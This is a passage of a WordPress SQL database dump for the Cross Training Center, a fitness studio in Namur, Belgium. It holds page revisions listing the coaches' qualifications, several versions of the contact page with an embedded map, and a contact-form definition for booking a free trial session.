individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:55:48', '2013-07-03 19:55:48', '', 20, 'http://www.crosstrainingcenter.be/?p=254', 0, 'revision', '', 0),
(258, 1, '2013-07-03 19:06:30', '2013-07-03 19:06:30', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nChaussée de Perwez 251\r\n5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;iframe width=\&quot;425\&quot; height=\&quot;350\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; marginheight=\&quot;0\&quot; marginwidth=\&quot;0\&quot; src=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;output=embed\&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;small&gt;&lt;a href=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;source=embed\&quot; style=\&quot;color:#0000FF;text-align:left\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 19:06:30', '2013-07-03 19:06:30', '', 9, 'http://www.crosstrainingcenter.be/?p=258', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(259, 1, '2013-07-03 20:26:03', '2013-07-03 20:26:03', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nChaussée de Perwez 251\r\n5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;350\&quot; width=\&quot;425\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;\r\n\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:26:03', '2013-07-03 20:26:03', '', 9, 'http://www.crosstrainingcenter.be/?p=259', 0, 'revision', '', 0),
(260, 1, '2013-07-03 20:28:57', '2013-07-03 20:28:57', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;350\&quot; width=\&quot;425\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;\r\n\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:28:57', '2013-07-03 20:28:57', '', 9, 'http://www.crosstrainingcenter.be/?p=260', 0, 'revision', '', 0),
(261, 1, '2013-07-03 20:31:53', '2013-07-03 20:31:53', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;350\&quot; width=\&quot;425\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:31:53', '2013-07-03 20:31:53', '', 9, 'http://www.crosstrainingcenter.be/?p=261', 0, 'revision', '', 0),
(262, 1, '2013-07-03 20:33:29', '2013-07-03 20:33:29', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe width=\&quot;300\&quot; height=\&quot;300\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; marginheight=\&quot;0\&quot; marginwidth=\&quot;0\&quot; src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;small&gt;&lt;a href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot; style=\&quot;color:#0000FF;text-align:left\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:33:29', '2013-07-03 20:33:29', '', 9, 'http://www.crosstrainingcenter.be/?p=262', 0, 'revision', '', 0),
(263, 1, '2013-07-03 20:36:24', '2013-07-03 20:36:24', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\n0485 / 92 . 02 . 12\r\n\r\nLes prises de RDV pour les séances de Team Training, Duo Training, Personnal Trainer ou Coatching nutritionnel se font exclusivement par téléphone.\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:36:24', '2013-07-03 20:36:24', '', 9, 'http://www.crosstrainingcenter.be/?p=263', 0, 'revision', '', 0),
(264, 1, '2013-07-03 20:37:31', '2013-07-03 20:37:31', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\n0485 / 92 . 02 . 12\r\n\r\nLes prises de RDV pour les séances de Team Training, Duo Training, Personnal Trainer ou Coatching nutritionnel se font exclusivement par téléphone.\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:37:31', '2013-07-03 20:37:31', '', 9, 'http://www.crosstrainingcenter.be/?p=264', 0, 'revision', '', 0),
(265, 1, '2013-07-03 20:42:29', '2013-07-03 20:42:29', '&lt;p&gt;Votre nom (obligatoire)&lt;br /&gt;\r\n    [text* your-name] &lt;br&gt;\r\nVotre prénom (obligatoire)&lt;br /&gt;\r\n    [text* your-firstname] &lt;br&gt;\r\nVotre email (obligatoire)&lt;br /&gt;\r\n    [email* your-email] &lt;br&gt;\r\nVotre n° de téléphone (obligatoire)&lt;br /&gt;\r\n    [text* your-tel]&lt;br&gt;\r\n[captchac captcha-696]&lt;br&gt;\r\nVeuillez recopier les caractères ci-dessus&lt;br /&gt;\r\n    [captchar captcha-696] &lt;/p&gt;\r\n\r\n&lt;p&gt;[submit \&quot;Contactez moi pour un RDV Séance Booster\&quot;]&lt;/p&gt;\nDemande séance gratuite\n[your-name] &lt;[your-email]&gt;\nDe : [your-name] &lt;[your-email]&gt;\r\nSujet : Demande séance gratuite\r\n\r\nDemande de séance gratuite :\r\n[your-name]\r\n[your-firstname]\r\n[your-email]\r\n[your-tel]\r\n\r\n\r\n--\r\nThis e-mail was sent from a contact form on Cross Training Center (http://www.crosstrainingcenter.be)\njuliepierrard@hotmail.com\n\n\n\n1\nDemande séance gratuite\n[your-name] &lt;[your-email]&gt;\nDe : [your-name] &lt;[your-email]&gt;\r\nSujet : Demande séance gratuite\r\n\r\nDemande de séance gratuite :\r\n[your-name]\r\n[your-firstname]\r\n[your-email]\r\n[your-tel]\r\n\r\n\r\n--\r\nThis e-mail was sent from a contact form on Cross Training Center (http://www.crosstrainingcenter.be)\nstv@otvr.net\n\n\n\nVotre message a bien été envoyé. Merci.\nErreur lors de l\'envoi du message. Veuillez réessayer plus tard ou contacter l\'administrateur d\'une autre manière.\nErreur de validation. Veuillez vérifier les champs et soumettre à nouveau.\nErreur lors de l\'envoi du message. Veuillez réessayer plus tard ou contacter l\'administrateur d\'une autre manière.\nMerci de bien vouloir accepter les conditions pour continuer.\nVeuillez remplir le champ obligatoire.\nLe code entre est incorrect.\nLe format numérique semble invalide.\nCe nombre est trop petit.\nCe nombre est trop grand.\nL\'adresse email semble invalide.\nL\'URL semble invalide.\nLe numéro de téléphone semble invalide.\nImpossible de télécharger le fichier.\nCe type de fichier n\'est pas autorisé.\nCe fichier est trop volumineux.\nImpossible de télécharger le fichier. Une erreur est survenue.\nVotre réponse est incorrecte.\nLe format de date semble invalide.\nCette date est trop tôt.\nCette date est trop tard.', 'Seance_gratuite', '', 'publish', 'open', 'open', '', 'sans-titre', '', '', '2014-08-31 07:40:29', '2014-08-31 07:40:29', '', 0, 'http://www.crosstrainingcenter.be/?post_type=wpcf7_contact_form&amp;#038;p=265', 0, 'wpcf7_contact_form', '', 0),
(266, 1, '2013-07-03 20:43:41', '2013-07-03 20:43:41', '&lt;blockquote&gt;\r\n&lt;h1&gt;Prise de RDV pour une séance booster :&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une séance Booster. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\nLaissez-nous vos coordonnées et nous vous recontacterons afin de planifier avec vous votre séance booster.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance booster', '', 'publish', 'closed', 'open', '', '266-2', '', '', '2014-08-31 07:41:25', '2014-08-31 07:41:25', '', 0, 'http://www.crosstrainingcenter.be/?page_id=266', 0, 'page', '', 0),
(267, 1, '2013-07-03 20:43:41', '2013-07-03 20:43:41', 'Venez découvrir les bienfaits du cross training lors d\'une première séance gratuite.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', '', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2013-07-03 20:43:41', '2013-07-03 20:43:41', '', 266, 'http://www.crosstrainingcenter.be/?p=267', 0, 'revision', '', 0),
(268, 1, '2013-07-03 20:38:07', '2013-07-03 20:38:07', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de Team Training, Duo Training, Personnal Trainer ou Coatching nutritionnel se font exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:38:07', '2013-07-03 20:38:07', '', 9, 'http://www.crosstrainingcenter.be/?p=268', 0, 'revision', '', 0),
(269, 1, '2013-07-03 19:59:08', '2013-07-03 19:59:08', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 